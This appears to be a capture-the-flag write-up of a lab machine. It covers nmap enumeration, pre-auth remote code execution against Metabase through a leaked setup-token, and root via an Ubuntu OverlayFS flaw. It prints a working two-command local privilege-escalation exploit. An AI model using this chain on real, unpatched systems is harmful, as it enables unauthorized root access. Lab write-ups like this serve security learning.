$ nmap -p- --min-rate 3000 10.129.49.201
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-08 22:09 +08
Nmap scan report for 10.129.49.201
Host is up (0.0056s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Did a detailed scan as well:
$ nmap -p 80 -sC -sV --min-rate 4000 10.129.49.201
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-08 22:10 +08
Nmap scan report for 10.129.49.201
Host is up (0.0093s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I added analytical.htb to the /etc/hosts file before visiting the web application.
Web Enum -> CVE-2023-38646 RCE
The website was for a company that does data analytics.
Below, there are a few names we can note:
There was also a login page, which directed me to data.analytical.htb.
gobuster and wfuzz didn't reveal much, so I took a look at the requests being sent in Burpsuite. Here's the POST request sent on the login.
We can see that metabase is the backend, and that it has an /api endpoint. Metabase has a few pre-auth RCE exploits available.
From the blog above, to determine if an instance is vulnerable, the setup-token variable needs to be misconfigured and not hidden. Viewing /api/sessions/properties for this machine verifies that the token is leaked.
Following the blog above, I just replaced the token and reverse shell command used in their PoC request. The base64 encoded command is just a simple bash one-liner.
Afterwards, I could ssh in as the user metalytics.
Privilege Escalation
CVE-2023-2640 -> Root
I did some basic enumeration, like getting the OS used and what not:
$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 22.04.3 LTS
Release: 22.04
Codename: jammy
When googling for 'Ubuntu 22.04 jammy exploit', I found this:
The machine fits all the criterias to be vulnerable to this, so I gave the exploit a shot. I found the PoC on Reddit, and it worked.
Run these 2 commands back to back to get a root shell:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
u/python3 -c 'import os;os.setuid(0);os.system("bash")